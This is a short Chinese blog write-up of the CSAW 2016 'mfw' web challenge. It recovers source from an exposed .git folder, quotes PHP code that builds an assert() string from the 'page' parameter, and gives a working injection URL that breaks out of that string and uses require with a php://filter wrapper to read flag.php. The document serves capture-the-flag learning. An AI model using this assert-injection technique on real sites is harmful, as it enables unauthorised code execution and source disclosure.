美文网首页
CSAW2016-mfw wp

CSAW2016-mfw wp

作者: lilyui | 来源:发表于2016-09-19 07:45 被阅读334次

题目描述

Hey, I made my first website today. It's pretty cool and web7.9.
http://web.chal.csaw.io:8000/

进去之后打开首页,在某一页找到

About

I wrote this website all by myself in under a week!

I used:

    Git
    PHP
    Bootstrap

有git, 那就从.git入手,用工具下载到源码

发现有flag.php,但是里面是空的,应该是这个文件被修改过

在.git/logs/head中查看提交记录,只看到一次提交

大概git就到此为止了

于是看index.php,代码中关键的是下面这部分

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

开始一直没有找到突破点,
后来想到assert其实就是变相的eval,但是挂马一直连不上,纠结了很久

然后想到其实不用,可以用require + php伪协议直接拿到源码

遂构造url,获得flag

http://web.chal.csaw.io:8000/?page=sa' ,'a') && (require('php://filter/convert.base64-encode/resource=./templates/flag.php')); //

这里还遇到了一个坑

之前用require_once一直拿不到代码,改成require后就可以了

相关文章

网友评论

      本文标题:CSAW2016-mfw wp

      本文链接:https://www.haomeiwen.com/subject/nhiwettx.html